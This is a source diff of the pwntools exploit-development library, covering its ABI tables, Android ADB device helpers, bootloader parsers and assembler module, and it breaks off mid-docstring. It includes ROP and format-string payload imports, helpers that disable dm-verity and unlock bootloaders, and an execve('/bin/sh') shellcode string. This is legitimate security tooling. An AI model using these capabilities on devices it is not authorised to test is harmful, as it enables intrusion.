from pwnlib.encoders import *
from pwnlib.exception import PwnlibException
from pwnlib.gdb import attach, debug, debug_assembly, debug_shellcode
from pwnlib.filepointer import *
from pwnlib.flag import *
from pwnlib.fmtstr import FmtStr, fmtstr_payload, fmtstr_split
from pwnlib.fmtstr import FmtStr, fmtstr_payload
from pwnlib.log import getLogger
from pwnlib.memleak import MemLeak, RelativeMemLeak
from pwnlib.regsort import *
from pwnlib.replacements import *
from pwnlib.rop import ROP
from pwnlib.rop.srop import SigreturnFrame
from pwnlib.rop.ret2dlresolve import Ret2dlresolvePayload
from pwnlib.runner import *
from pwnlib.term.readline import str_input
from pwnlib.timeout import Timeout
from pwnlib.tubes.listen import listen
from pwnlib.tubes.process import process, PTY, PIPE, STDOUT
@@ -70,8 +67,15 @@ from pwnlib.util.web import *
# Promote these modules, so that "from pwn import *" will let you access them
from six.moves import cPickle as pickle, cStringIO as StringIO
from six import BytesIO
try:
import cPickle as pickle
except ImportError:
import pickle
try:
from cStringIO import StringIO
except ImportError:
from StringIO import StringIO
error = log.error
warning = log.warning
@@ -79,5 +83,3 @@ warn = log.warning
info = log.info
debug = log.debug
success = log.success
__all__ = [x for x in globals().keys() if x != '__name__']
+2 -60
View File
@@ -1,6 +1,5 @@
# -*- coding: utf-8 -*-
from __future__ import absolute_import
from __future__ import division
from pwnlib.context import LocalContext
from pwnlib.context import context
@@ -46,18 +45,10 @@ class ABI(object):
(32, 'arm', 'linux'): linux_arm,
(32, 'thumb', 'linux'): linux_arm,
(32, 'mips', 'linux'): linux_mips,
(32, 'powerpc', 'linux'): linux_ppc,
(64, 'powerpc', 'linux'): linux_ppc64,
(32, 'i386', 'freebsd'): freebsd_i386,
(64, 'aarch64', 'freebsd'): freebsd_aarch64,
(64, 'amd64', 'freebsd'): freebsd_amd64,
(32, 'arm', 'freebsd'): freebsd_arm,
(32, 'thumb', 'freebsd'): freebsd_arm,
(32, 'mips', 'freebsd'): freebsd_mips,
(32, 'powerpc', 'freebsd'): freebsd_ppc,
(64, 'powerpc', 'freebsd'): freebsd_ppc64,
(32, 'i386', 'windows'): windows_i386,
(64, 'amd64', 'windows'): windows_amd64,
(32, 'powerpc', 'linux'): linux_ppc,
(64, 'powerpc', 'linux'): linux_ppc64,
}[(context.bits, context.arch, context.os)]
@staticmethod
@@ -76,15 +67,6 @@ class ABI(object):
(64, 'aarch64', 'linux'): linux_aarch64_syscall,
(32, 'powerpc', 'linux'): linux_ppc_syscall,
(64, 'powerpc', 'linux'): linux_ppc64_syscall,
(32, 'i386', 'freebsd'): freebsd_i386_syscall,
(64, 'amd64', 'freebsd'): freebsd_amd64_syscall,
(64, 'aarch64', 'freebsd'): freebsd_aarch64_syscall,
(32, 'arm', 'freebsd'): freebsd_arm_syscall,
(32, 'thumb', 'freebsd'): freebsd_arm_syscall,
(32, 'mips', 'freebsd'): freebsd_mips_syscall,
(64, 'aarch64', 'freebsd'): freebsd_aarch64_syscall,
(32, 'powerpc', 'freebsd'): freebsd_ppc_syscall,
(64, 'powerpc', 'freebsd'): freebsd_ppc64_syscall,
}[(context.bits, context.arch, context.os)]
@staticmethod
@@ -99,11 +81,6 @@ class ABI(object):
(32, 'arm', 'linux'): linux_arm_sigreturn,
(32, 'thumb', 'linux'): linux_arm_sigreturn,
(64, 'aarch64', 'linux'): linux_aarch64_sigreturn,
(32, 'i386', 'freebsd'): freebsd_i386_sigreturn,
(64, 'amd64', 'freebsd'): freebsd_amd64_sigreturn,
(32, 'arm', 'freebsd'): freebsd_arm_sigreturn,
(32, 'thumb', 'freebsd'): freebsd_arm_sigreturn,
(64, 'aarch64', 'freebsd'): freebsd_aarch64_sigreturn,
}[(context.bits, context.arch, context.os)]
class SyscallABI(ABI):
@@ -124,7 +101,6 @@ class SigreturnABI(SyscallABI):
returns = False
# System V ABI used by many UNIXes
linux_i386 = ABI('esp', [], 4, 0)
linux_amd64 = ABI('rsp', ['rdi','rsi','rdx','rcx','r8','r9'], 8, 0)
linux_arm = ABI('sp', ['r0', 'r1', 'r2', 'r3'], 8, 0)
@@ -133,14 +109,6 @@ linux_mips = ABI('$sp', ['$a0','$a1','$a2','$a3'], 4, 0)
linux_ppc = ABI('sp', ['r3', 'r4', 'r5', 'r6', 'r7', 'r8', 'r9', 'r10'], 4, 0)
linux_ppc64 = ABI('sp', ['r3', 'r4', 'r5', 'r6', 'r7', 'r8', 'r9', 'r10'], 8, 0)
sysv_i386 = linux_i386
sysv_amd64 = linux_amd64
sysv_arm = linux_arm
sysv_aarch64 = linux_aarch64
sysv_mips = linux_mips
sysv_ppc = linux_ppc
sysv_ppc64 = linux_ppc64
linux_i386_syscall = SyscallABI('esp', ['eax', 'ebx', 'ecx', 'edx', 'esi', 'edi', 'ebp'], 4, 0)
linux_amd64_syscall = SyscallABI('rsp', ['rax', 'rdi', 'rsi', 'rdx', 'r10', 'r8', 'r9'], 8, 0)
linux_arm_syscall = SyscallABI('sp', ['r7', 'r0', 'r1', 'r2', 'r3', 'r4', 'r5', 'r6'], 4, 0)
@@ -154,31 +122,5 @@ linux_amd64_sigreturn = SigreturnABI('rsp', ['rax'], 4, 0)
linux_arm_sigreturn = SigreturnABI('sp', ['r7'], 4, 0)
linux_aarch64_sigreturn = SigreturnABI('sp', ['x8'], 16, 0)
sysv_i386_sigreturn = linux_i386_sigreturn
sysv_amd64_sigreturn = linux_amd64_sigreturn
sysv_arm_sigreturn = linux_arm_sigreturn
sysv_aarch64_sigreturn = linux_aarch64_sigreturn
freebsd_i386 = sysv_i386
freebsd_amd64 = sysv_amd64
freebsd_arm = sysv_arm
freebsd_aarch64 = sysv_aarch64
freebsd_mips = sysv_mips
freebsd_ppc = sysv_ppc
freebsd_ppc64 = sysv_ppc64
freebsd_i386_syscall = SyscallABI('esp', ['eax'], 4, 0)
freebsd_amd64_syscall = SyscallABI('rsp', ['rax','rdi','rsi','rdx','rcx','r8','r9'], 8, 0)
freebsd_arm_syscall = SyscallABI('sp', ['r7', 'r0', 'r1', 'r2', 'r3'], 8, 0)
freebsd_aarch64_syscall = SyscallABI('sp', ['x8', 'x0', 'x1', 'x2', 'x3'], 16, 0)
freebsd_mips_syscall = SyscallABI('$sp', ['$v0','$a0','$a1','$a2','$a3'], 4, 0)
freebsd_ppc_syscall = SyscallABI('sp', ['r0', 'r3', 'r4', 'r5', 'r6', 'r7', 'r8', 'r9', 'r10'], 4, 0)
freebsd_ppc64_syscall = SyscallABI('sp', ['r0', 'r3', 'r4', 'r5', 'r6', 'r7', 'r8', 'r9', 'r10'], 8, 0)
freebsd_i386_sigreturn = sysv_i386_sigreturn
freebsd_amd64_sigreturn = sysv_amd64_sigreturn
freebsd_arm_sigreturn = sysv_arm_sigreturn
freebsd_aarch64_sigreturn = sysv_aarch64_sigreturn
windows_i386 = ABI('esp', [], 4, 0)
windows_amd64 = ABI('rsp', ['rcx','rdx','r8','r9'], 32, 32)
-2
View File
@@ -2,5 +2,3 @@ from __future__ import absolute_import
from pwnlib.adb.adb import *
from pwnlib.adb.protocol import Client
from pwnlib.adb.bootimg import BootImage
from pwnlib.adb.bootloader import BootloaderImage
+77 -201
View File
@@ -35,26 +35,25 @@ the :mod:`pwnlib.adb` module.
.. code-block:: python
# Get a process listing
print(adb.process(['ps']).recvall())
print adb.process(['ps']).recvall()
# Fetch properties
print(adb.properties.ro.build.fingerprint)
print adb.properties.ro.build.fingerprint
# Read and write files
print(adb.read('/proc/version'))
print adb.read('/proc/version')
adb.write('/data/local/tmp/foo', 'my data')
"""
from __future__ import absolute_import
from __future__ import division
import functools
import glob
import logging
import os
import platform
import re
import shutil
import six
import stat
import tempfile
import time
@@ -75,12 +74,10 @@ log = getLogger(__name__)
def adb(argv, *a, **kw):
r"""Returns the output of an ADB subcommand.
>>> adb.adb('get-serialno')
b'emulator-5554\n'
>>> adb.adb(['shell', 'uname']) # it is better to use adb.process
b'Linux\n'
>>> adb.adb(['get-serialno'])
'emulator-5554\n'
"""
if isinstance(argv, (bytes, six.text_type)):
if isinstance(argv, (str, unicode)):
argv = [argv]
log.debug("$ " + ' '.join(context.adb + argv))
@@ -117,7 +114,7 @@ def current_device(any=False):
>>> device = adb.current_device(any=True)
>>> device
AdbDevice(serial='emulator-5554', type='device', port='emulator', product='sdk_google_phone_armv7', model='sdk google phone armv7', device='generic')
AdbDevice(serial='emulator-5554', type='device', port='emulator', product='sdk_phone_armv7', model='sdk phone armv7', device='generic')
>>> device.port
'emulator'
"""
@@ -200,10 +197,6 @@ def uptime():
Returns:
Uptime of the device, in seconds
Example:
>>> adb.uptime() > 3 # normally AVD takes ~7 seconds to boot
True
"""
up, idle = map(float, read('/proc/uptime').split())
return up
@@ -215,15 +208,10 @@ def boot_time():
Returns:
Boot time of the device, in Unix time, rounded to the
nearest second.
Example:
>>> import time
>>> adb.boot_time() < time.time()
True
"""
for line in read('/proc/stat').splitlines():
name, value = line.split(None, 1)
if name == b'btime':
if name == 'btime':
return int(value)
class AdbDevice(Device):
@@ -239,7 +227,7 @@ class AdbDevice(Device):
>>> device.os
'android'
>>> device.product
'sdk_google_phone_armv7'
'sdk_phone_armv7'
>>> device.serial
'emulator-5554'
"""
@@ -288,7 +276,7 @@ class AdbDevice(Device):
return
with context.local(device=self.serial):
abi = getprop('ro.product.cpu.abi')
abi = str(properties.ro.product.cpu.abi)
context.clear()
context.arch = str(abi)
self._arch = context.arch
@@ -367,6 +355,7 @@ class AdbDevice(Device):
if name not in g:
raise AttributeError('%r object has no attribute %r' % (type(self).__name__,name))
value = g[name]
if not hasattr(value, '__call__'):
@@ -426,7 +415,7 @@ def wait_for_device(kick=False):
@with_device
def disable_verity():
"""Disables dm-verity on the device."""
with log.waitfor("Disabling dm-verity on %s" % context.device):
with log.waitfor("Disabling dm-verity on %s" % context.device) as w:
root()
with AdbClient() as c:
@@ -444,7 +433,7 @@ def disable_verity():
@with_device
def remount():
"""Remounts the filesystem as writable."""
with log.waitfor("Remounting filesystem on %s" % context.device):
with log.waitfor("Remounting filesystem on %s" % context.device) as w:
disable_verity()
root()
@@ -497,7 +486,7 @@ def pull(remote_path, local_path=None):
Example:
>>> _=adb.pull('/proc/version', './proc-version')
>>> print(read('./proc-version').decode('utf-8')) # doctest: +ELLIPSIS
>>> print read('./proc-version') # doctest: +ELLIPSIS
Linux version ...
"""
if local_path is None:
@@ -531,7 +520,7 @@ def push(local_path, remote_path):
>>> adb.push('./filename', '/data/local/tmp')
'/data/local/tmp/filename'
>>> adb.read('/data/local/tmp/filename')
b'contents'
'contents'
>>> adb.push('./filename', '/does/not/exist')
Traceback (most recent call last):
...
@@ -584,7 +573,7 @@ def read(path, target=None, callback=None):
Examples:
>>> print(adb.read('/proc/version').decode('utf-8')) # doctest: +ELLIPSIS
>>> print adb.read('/proc/version') # doctest: +ELLIPSIS
Linux version ...
>>> adb.read('/does/not/exist')
Traceback (most recent call last):
@@ -604,7 +593,7 @@ def read(path, target=None, callback=None):
@context.quietfunc
@with_device
def write(path, data=b''):
def write(path, data=''):
"""Create a file on the device with the provided contents.
Arguments:
@@ -613,7 +602,7 @@ def write(path, data=b''):
Examples:
>>> adb.write('/dev/null', b'data')
>>> adb.write('/dev/null', 'data')
>>> adb.write('/data/local/tmp/')
"""
with tempfile.NamedTemporaryFile() as temp:
@@ -661,7 +650,7 @@ def mkdir(path):
# Any output at all is an error
if result:
log.error(result.rstrip().decode('utf-8'))
log.error(result)
@context.quietfunc
@with_device
@@ -673,9 +662,9 @@ def makedirs(path):
Examples:
>>> adb.makedirs('/data/local/tmp/this/is/a/directory/hierarchy')
>>> adb.makedirs('/data/local/tmp/this/is/a/directory/heirarchy')
>>> adb.listdir('/data/local/tmp/this/is/a/directory')
['hierarchy']
['heirarchy']
"""
if path != '/':
makedirs(os.path.dirname(path))
@@ -691,7 +680,7 @@ def exists(path):
>>> adb.exists('/')
True
>>> adb.exists('/etc/hosts')
>>> adb.exists('/init')
True
>>> adb.exists('/does/not/exist')
False
@@ -757,12 +746,12 @@ def unlink(path, recursive=False):
if isdir(path) and c.list(path) and not recursive:
log.error("Cannot delete non-empty directory %r without recursive=True" % path)
flags = '-rf' if recursive else '-f'
flags = '-rf' if recursive else '-r'
output = c.execute(['rm', flags, path]).recvall()
if output:
log.error(output.decode('utf-8'))
log.error(output)
@with_device
def process(argv, *a, **kw):
@@ -776,10 +765,10 @@ def process(argv, *a, **kw):
Examples:
>>> adb.root()
>>> print(adb.process(['cat','/proc/version']).recvall().decode('utf-8')) # doctest: +ELLIPSIS
>>> print adb.process(['cat','/proc/version']).recvall() # doctest: +ELLIPSIS
Linux version ...
"""
if isinstance(argv, (bytes, six.text_type)):
if isinstance(argv, (str, unicode)):
argv = [argv]
message = "Starting %s process %r" % ('Android', argv[0])
@@ -827,18 +816,15 @@ def which(name, all = False, *a, **kw):
"""
# Unfortunately, there is no native 'which' on many phones.
which_cmd = '''
(IFS=:
for directory in $PATH; do
[ -x "$directory/{name}" ] || continue;
echo -n "$directory/{name}\\x00";
done
)
echo $PATH | while read -d: directory; do
[ -x "$directory/{name}" ] || continue;
echo -n "$directory/{name}\\x00";
done
[ -x "{name}" ] && echo -n "$PWD/{name}\\x00"
'''.format(name=name)
which_cmd = which_cmd.strip()
data = process(['sh','-c', which_cmd], *a, **kw).recvall()
data = context._decode(data)
result = []
for path in data.split('\x00'):
@@ -861,19 +847,13 @@ def which(name, all = False, *a, **kw):
@with_device
def whoami():
"""Returns current shell user
Example:
>>> adb.whoami()
b'root'
"""
return process(['sh','-ic','echo $USER']).recvall().strip()
@with_device
def forward(port):
"""Sets up a port to forward to the device."""
tcp_port = 'tcp:%s' % port
adb(['forward', tcp_port, tcp_port])
start_forwarding = adb(['forward', tcp_port, tcp_port])
atexit.register(lambda: adb(['forward', '--remove', tcp_port]))
@context.quietfunc
@@ -901,25 +881,13 @@ def logcat(stream=False):
def pidof(name):
"""Returns a list of PIDs for the named process."""
with context.quiet:
# Older devices have a broken 'pidof', apparently.
# Try pgrep first.
io = process(['pgrep', name])
data = io.recvall()
if 'not found' in data:
io = process(['pidof', name])
data = io.recvall()
return list(map(int, data.split()))
io = process(['pidof', name])
data = io.recvall().split()
return list(map(int, data))
@with_device
def proc_exe(pid):
"""Returns the full path of the executable for the provided PID.
Example:
>>> adb.proc_exe(1)
b'/init'
"""
"""Returns the full path of the executable for the provided PID."""
with context.quiet:
io = process(['realpath','/proc/%d/exe' % pid])
data = io.recvall().strip()
@@ -935,23 +903,18 @@ def getprop(name=None):
Returns:
If ``name`` is not specified, a ``dict`` of all properties is returned.
Otherwise, a string is returned with the contents of the named property.
Example:
>>> adb.getprop() # doctest: +ELLIPSIS
{...}
"""
with context.quiet:
if name:
result = process(['getprop', name]).recvall().strip()
result = context._decode(result)
return result
return process(['getprop', name]).recvall().strip()
result = process(['getprop']).recvall()
result = context._decode(result)
expr = r'\[([^\]]+)\]: \[(.*)\]'
props = {}
for line in result.splitlines():
if not line.startswith('['):
continue
@@ -982,7 +945,7 @@ def listdir(directory='/'):
Otherwise, less files may be returned due to restrictive SELinux
policies on adbd.
"""
return sorted(AdbClient().list(directory))
return list(sorted(AdbClient().list(directory)))
@with_device
def fastboot(args, *a, **kw):
@@ -997,17 +960,17 @@ def fastboot(args, *a, **kw):
@with_device
def fingerprint():
"""Returns the device build fingerprint."""
return getprop('ro.build.fingerprint')
return str(properties.ro.build.fingerprint)
@with_device
def product():
"""Returns the device product identifier."""
return getprop('ro.build.product')
return str(properties.ro.build.product)
@with_device
def build():
"""Returns the Build ID of the device."""
return getprop('ro.build.id')
return str(properties.ro.build.id)
@with_device
@no_emulator
@@ -1017,44 +980,15 @@ def unlock_bootloader():
Note:
This requires physical interaction with the device.
"""
w = log.waitfor("Unlocking bootloader")
with w:
if getprop('ro.oem_unlock_supported') == '0':
log.error("Bootloader cannot be unlocked: ro.oem_unlock_supported=0")
if getprop('ro.boot.oem_unlock_support') == '0':
log.error("Bootloader cannot be unlocked: ro.boot.oem_unlock_support=0")
if getprop('sys.oem_unlock_allowed') == '0':
log.error("Bootloader cannot be unlocked: Enable OEM Unlock in developer settings first", context.device)
AdbClient().reboot_bootloader()
# Check to see if it's unlocked before attempting unlock
unlocked = fastboot(['getvar', 'unlocked'])
if 'unlocked: yes' in unlocked:
w.success("Already unlocked")
fastboot(['continue'])
return
fastboot(['oem', 'unlock'])
unlocked = fastboot(['getvar', 'unlocked'])
fastboot(['continue'])
if 'unlocked: yes' not in unlocked:
log.error("Unlock failed")
AdbClient().reboot_bootloader()
fastboot(['oem', 'unlock'])
fastboot(['continue'])
class Kernel(object):
_kallsyms = None
@property
def address(self):
"""Returns kernel address
Example:
>>> hex(adb.kernel.address) # doctest: +ELLIPSIS
'0x...000'
"""
return self.symbols['_text']
@property
@@ -1077,7 +1011,7 @@ class Kernel(object):
self._kallsyms = {}
root()
write('/proc/sys/kernel/kptr_restrict', '1')
self._kallsyms = read('/proc/kallsyms').decode('ascii')
self._kallsyms = read('/proc/kallsyms')
return self._kallsyms
@property
@@ -1105,7 +1039,7 @@ class Kernel(object):
def enable_uart(self):
"""Reboots the device with kernel logging to the UART enabled."""
model = getprop('ro.product.model')
model = str(properties.ro.product.model)
known_commands = {
'Nexus 4': None,
@@ -1116,7 +1050,7 @@ class Kernel(object):
'Nexus 7': 'oem uart-on',
}
with log.waitfor('Enabling kernel UART'):
with log.waitfor('Enabling kernel UART') as w:
if model not in known_commands:
log.error("Device UART is unsupported.")
@@ -1153,15 +1087,15 @@ kernel = Kernel()
class Property(object):
def __init__(self, name=None):
# Need to avoid overloaded setattr() so we go through __dict__
self.__dict__['_name'] = name
def __str__(self):
return str(getprop(self._name)).strip()
return getprop(self._name).strip()
def __repr__(self):
return repr(str(self))
def __getattr__(self, attr):
if attr.startswith('_'):
raise AttributeError(attr)
if self._name:
attr = '%s.%s' % (self._name, attr)
return Property(attr)
@@ -1174,21 +1108,6 @@ class Property(object):
attr = '%s.%s' % (self._name, attr)
setprop(attr, value)
def __eq__(self, other):
"""Allow simple comparison
Example:
>>> adb.properties.ro.build.version.sdk == "24"
True
"""
if isinstance(other, six.string_types):
return str(self) == other
return super(Property, self).__eq__(other)
def __hash__(self, other):
# Allow hash indices matching on the property
return hash(self._name)
properties = Property()
def _build_date():
@@ -1263,24 +1182,7 @@ def _generate_ndk_project(file_list, abi='arm-v7a', platform_version=21):
return root
def compile(source):
r"""Compile a source file or project with the Android NDK.
Example:
>>> temp = tempfile.mktemp('.c')
>>> write(temp, '''
... #include <stdio.h>
... static char buf[4096];
... int main() {
... FILE *fp = fopen("/proc/self/maps", "r");
... int n = fread(buf, 1, sizeof(buf), fp);
... fwrite(buf, 1, n, stdout);
... return 0;
... }''')
>>> filename = adb.compile(temp)
>>> sent = adb.push(filename, "/data/local/tmp")
>>> adb.process(sent).recvall() # doctest: +ELLIPSIS
b'... /system/bin/linker\n...'
"""
"""Compile a source file or project with the Android NDK."""
ndk_build = misc.which('ndk-build')
if not ndk_build:
@@ -1308,8 +1210,8 @@ def compile(source):
# If we have an attached device, use its settings.
if context.device:
abi = getprop('ro.product.cpu.abi')
sdk = getprop('ro.build.version.sdk')
abi = str(properties.ro.product.cpu.abi)
sdk = str(properties.ro.build.version.sdk)
if abi is None:
log.error("Unknown CPU ABI")
@@ -1327,7 +1229,7 @@ def compile(source):
result = io.recvall()
if 0 != io.poll():
log.error("Build failed:\n%s", result)
log.error("Build failed:\n%s" % result)
# Find all of the output files
output = glob.glob(os.path.join(lib, '*', '*'))
@@ -1377,59 +1279,37 @@ def find(top, name):
@with_device
def readlink(path):
path = process(['realpath', path]).recvall()
path = process(['readlink', path]).recvall()
# Readlink will emit a single newline
# We can't use the '-n' flag since old versions don't support it
if path.endswith(b'\n'):
if path.endswith('\n'):
path = path[:-1]
return path.decode()
return path
class Partitions(object):
"""Enable access to partitions
Example:
>>> hex(adb.partitions.vda.size) # doctest: +ELLIPSIS
'0x...000'
"""
@property
@context.quietfunc
def by_name_dir(self):
try:
return next(find('/dev/block/platform','by-name'))
except StopIteration:
return '/dev/block'
return next(find('/dev/block/platform','by-name'))
@context.quietfunc
def __dir__(self):
return list(self)
@context.quietfunc
def iter_proc_partitions(self):
for line in read('/proc/partitions').splitlines():
if not line.strip():
continue
major, minor, blocks, name = line.split(None, 4)
yield blocks, name.decode()
@context.quietfunc
@with_device
def __iter__(self):
root()
# Find all named partitions
names = set(listdir(self.by_name_dir))
# Find all unnamed partitions
for _, name in self.iter_proc_partitions():
names.add(name)
return iter(names)
for name in listdir(self.by_name_dir):
yield name
@context.quietfunc
@with_device
def __getattr__(self, attr):
if attr.startswith("_"):
raise AttributeError(attr)
for name in self:
if name == attr:
break
@@ -1438,17 +1318,19 @@ class Partitions(object):
path = os.path.join(self.by_name_dir, name)
with context.quiet:
# Find the actual path of the device
devpath = readlink(path)
devname = os.path.basename(devpath)
# Find the actual path of the device
devpath = readlink(path)
devname = os.path.basename(devpath)
# Get the size of the partition
for blocks, name in self.iter_proc_partitions():
if name in (devname, attr):
break
else:
log.error("Could not find size of partition %r" % name)
# Get the size of the partition
for line in read('/proc/partitions').splitlines():
if not line.strip():
continue
major, minor, blocks, name = line.split(None, 4)
if devname == name:
break
else:
log.error("Could not find size of partition %r" % name)
return Partition(devpath, attr, int(blocks))
@@ -1500,9 +1382,3 @@ def packages():
"""Returns a list of packages installed on the system"""
packages = process(['pm', 'list', 'packages']).recvall()
return [line.split('package:', 1)[-1] for line in packages.splitlines()]
@context.quietfunc
def version():
"""Returns rthe platform version as a tuple."""
prop = getprop('ro.build.version.release')
return [int(v) for v in prop.split('.')]
-52
View File
@@ -1,52 +0,0 @@
from __future__ import division
import ctypes
BOOT_MAGIC = b"ANDROID!"
BOOT_MAGIC_SIZE = 8
BOOT_NAME_SIZE = 16
BOOT_ARGS_SIZE = 512
BOOT_EXTRA_ARGS_SIZE = 1024
class boot_img_hdr(ctypes.Structure):
_fields_ = [
('magic', ctypes.c_char * BOOT_MAGIC_SIZE),
('kernel_size', ctypes.c_uint32),
('kernel_addr', ctypes.c_uint32),
('ramdisk_size', ctypes.c_uint32),
('ramdisk_addr', ctypes.c_uint32),
('second_size', ctypes.c_uint32),
('second_addr', ctypes.c_uint32),
('tags_addr', ctypes.c_uint32),
('page_size', ctypes.c_uint32),
('unused', ctypes.c_uint32),
('os_version', ctypes.c_uint32),
('name', ctypes.c_char * BOOT_NAME_SIZE),
('cmdline', ctypes.c_char * BOOT_ARGS_SIZE),
('id', ctypes.c_char * 8),
('extra_cmdline', ctypes.c_char * BOOT_EXTRA_ARGS_SIZE),
]
class BootImage(object):
def __init__(self, data):
self.data = data
self.header = boot_img_hdr.from_buffer_copy(data)
PAGE = self.page_size
# The kernel starts at the beginning of the second page.
self.kernel = self.data[PAGE:PAGE+self.kernel_size]
def __getattr__(self, name):
value = getattr(self.header, name, None)
if value is not None:
return value
return getattr(super(BootImage, self), name)
+12 -33
View File
@@ -1,15 +1,10 @@
from __future__ import unicode_literals
from __future__ import division
import ctypes
import io
import os
import sys
from pwnlib.log import getLogger
log = getLogger(__name__)
class img_info(ctypes.Structure):
_fields_ = [
('name', ctypes.c_char * 64),
@@ -24,7 +19,11 @@ class bootloader_images_header(ctypes.Structure):
('bootldr_size', ctypes.c_uint32),
]
BOOTLDR_MAGIC = b'BOOTLDR!'
def __init__(self, *a, **kw):
super(bootloader_images_header, self).__init__(*a, **kw)
if self.magic != self.MAGIC:
raise ValueError("Incorrect magic (%r, expected %r)" % (self.magic, self.MAGIC))
MAGIC = 'BOOTLDR!'
class BootloaderImage(object):
def __init__(self, data):
@@ -36,21 +35,7 @@ class BootloaderImage(object):
self.data = data
self.header = bootloader_images_header.from_buffer_copy(data)
if self.magic != BOOTLDR_MAGIC:
log.error("Incorrect magic (%r, expected %r)" % (self.magic, BOOTLDR_MAGIC))
if(self.bootldr_size > len(data)):
log.warn_once("Bootloader is supposed to be %#x bytes, only have %#x",
self.bootldr_size,
len(data))
if(self.num_images >= 0x100):
old = self.num_images
self.num_images = 1
log.warn_once("Bootloader num_images (%#x) appears corrupted, truncating to 1",
old)
imgarray = ctypes.ARRAY(img_info, self.num_images)
imgarray = ctypes.ARRAY(img_info, self.header.num_images)
self.img_info = imgarray.from_buffer_copy(data, ctypes.sizeof(self.header))
def extract(self, index_or_name):
@@ -77,7 +62,7 @@ class BootloaderImage(object):
if index >= len(self.img_info):
raise ValueError("index out of range (%s, max %s)" % (index, len(self.img_info)))
offset = self.start_offset
offset = self.header.start_offset
for i in range(index):
offset += self.img_info[i].size
@@ -102,23 +87,17 @@ class BootloaderImage(object):
def __str__(self):
rv = []
rv.append("Bootloader")
rv.append(" Magic: %r" % self.magic)
rv.append(" Offset: %#x" % self.start_offset)
rv.append(" Size: %#x" % self.bootldr_size)
rv.append(" Images: %s" % self.num_images)
rv.append(" Magic: %r" % self.header.magic)
rv.append(" Offset: %#x" % self.header.start_offset)
rv.append(" Size: %#x" % self.header.bootldr_size)
rv.append(" Images: %s" % self.header.num_images)
for img in self.img_info:
rv.append(" Name: %s" % img.name)
rv.append(" Size: %#x" % img.size)
rv.append(" Data: %r..." % self.extract(img.name)[:32])
return '\n'.join(rv)
def __getattr__(self, name):
value = getattr(self.header, name, None)
if value is not None:
return value
return getattr(super(BootImage, self), name)
if __name__ == '__main__':
# Easy sanity checking
b = BootloaderImage(open(sys.argv[1], 'rb').read())
b = BootloaderImage(open(sys.argv[1]).read())
print(b)
+3 -4
View File
@@ -23,7 +23,7 @@ this way.
.. code-block:: bash
$ python -c 'from pwn import *; print(args)' A=1 B=Hello HOST=1.2.3.4 DEBUG
$ python -c 'from pwn import *; print args' A=1 B=Hello HOST=1.2.3.4 DEBUG
defaultdict(<type 'str'>, {'A': '1', 'HOST': '1.2.3.4', 'B': 'Hello'})
This is very useful for conditional code, for example determining whether to
@@ -51,7 +51,6 @@ below.
"""
from __future__ import absolute_import
from __future__ import division
import collections
import logging
@@ -86,7 +85,7 @@ def isident(s):
Helper function to check whether a string is a valid identifier,
as passed in on the command-line.
"""
first = string.ascii_uppercase + '_'
first = string.uppercase + '_'
body = string.digits + first
if not s:
return False
@@ -195,7 +194,7 @@ def initialize():
value = 'True'
if '=' in arg:
arg, value = arg.split('=', 1)
arg, value = arg.split('=')
if arg in hooks:
sys.argv.remove(orig)
+54 -62
View File
@@ -16,38 +16,39 @@ Assembly
To assemble code, simply invoke :func:`asm` on the code to assemble.
>>> asm('mov eax, 0')
b'\xb8\x00\x00\x00\x00'
'\xb8\x00\x00\x00\x00'
Additionally, you can use constants as defined in the :mod:`pwnlib.constants`
module.
>>> asm('mov eax, SYS_execve')
b'\xb8\x0b\x00\x00\x00'
'\xb8\x0b\x00\x00\x00'
Finally, :func:`asm` is used to assemble shellcode provided by ``pwntools``
in the :mod:`shellcraft` module.
>>> asm(shellcraft.nop())
b'\x90'
'\x90'
Disassembly
------------------------
To disassemble code, simply invoke :func:`disasm` on the bytes to disassemble.
>>> disasm(b'\xb8\x0b\x00\x00\x00')
' 0: b8 0b 00 00 00 mov eax, 0xb'
>>> disasm('\xb8\x0b\x00\x00\x00')
' 0: b8 0b 00 00 00 mov eax,0xb'
"""
from __future__ import absolute_import
from __future__ import division
import errno
import os
import platform
import re
import shutil
import string
import subprocess
import sys
import tempfile
from collections import defaultdict
from glob import glob
@@ -89,7 +90,7 @@ def dpkg_search_for_binutils(arch, util):
try:
filename = 'bin/%s*linux*-%s' % (arch, util)
output = subprocess.check_output(['dpkg','-S',filename], universal_newlines = True)
output = subprocess.check_output(['dpkg','-S',filename])
for line in output.strip().splitlines():
package, path = line.split(':', 1)
packages.append(package)
@@ -159,6 +160,7 @@ def which_binutils(util):
Exception: Could not find 'as' installed for ContextType(arch = 'msp430')
"""
arch = context.arch
bits = context.bits
# Fix up pwntools vs Debian triplet naming, and account
# for 'thumb' being its own pwntools architecture.
@@ -242,7 +244,7 @@ def _assembler():
if not checked_assembler_version[gas]:
checked_assembler_version[gas] = True
result = subprocess.check_output([gas, '--version','/dev/null'],
stderr=subprocess.STDOUT, universal_newlines=True)
stderr=subprocess.STDOUT)
version = re.search(r' (\d\.\d+)', result).group(1)
if version < '2.19':
log.warn_once('Your binutils version is too old and may not work!\n' + \
@@ -362,8 +364,7 @@ def _run(cmd, stdin = None):
cmd,
stdin = subprocess.PIPE,
stdout = subprocess.PIPE,
stderr = subprocess.PIPE,
universal_newlines = True
stderr = subprocess.PIPE
)
stdout, stderr = proc.communicate(stdin)
exitcode = proc.wait()
@@ -408,6 +409,8 @@ def cpp(shellcode):
>>> cpp("SYS_setresuid", os = "freebsd")
'311\n'
"""
arch = context.arch
os = context.os
code = _include_header() + shellcode
cmd = [
'cpp',
@@ -471,7 +474,7 @@ def make_elf_from_assembly(assembly,
>>> sc += shellcraft.echo('Hello\n')
>>> sc += 'mov rsp, rbp; pop rbp; ret'
>>> solib = make_elf_from_assembly(sc, shared=1)
>>> subprocess.check_output(['echo', 'World'], env={'LD_PRELOAD': solib}, universal_newlines = True)
>>> subprocess.check_output(['echo', 'World'], env={'LD_PRELOAD': solib})
'Hello\nWorld\n'
The same thing can be done with :func:`.make_elf`, though the sizes
@@ -504,7 +507,7 @@ def make_elf_from_assembly(assembly,
result = asm(assembly, vma = vma, shared = shared, extract = False, **kwargs)
if not extract:
os.chmod(result, 0o755)
os.chmod(result, 0755)
else:
with open(result, 'rb') as io:
result = io.read()
@@ -537,12 +540,12 @@ def make_elf(data,
execve('/bin/sh',...).
>>> context.clear(arch='i386')
>>> bin_sh = unhex('6a68682f2f2f73682f62696e89e331c96a0b5899cd80')
>>> bin_sh = '6a68682f2f2f73682f62696e89e331c96a0b5899cd80'.decode('hex')
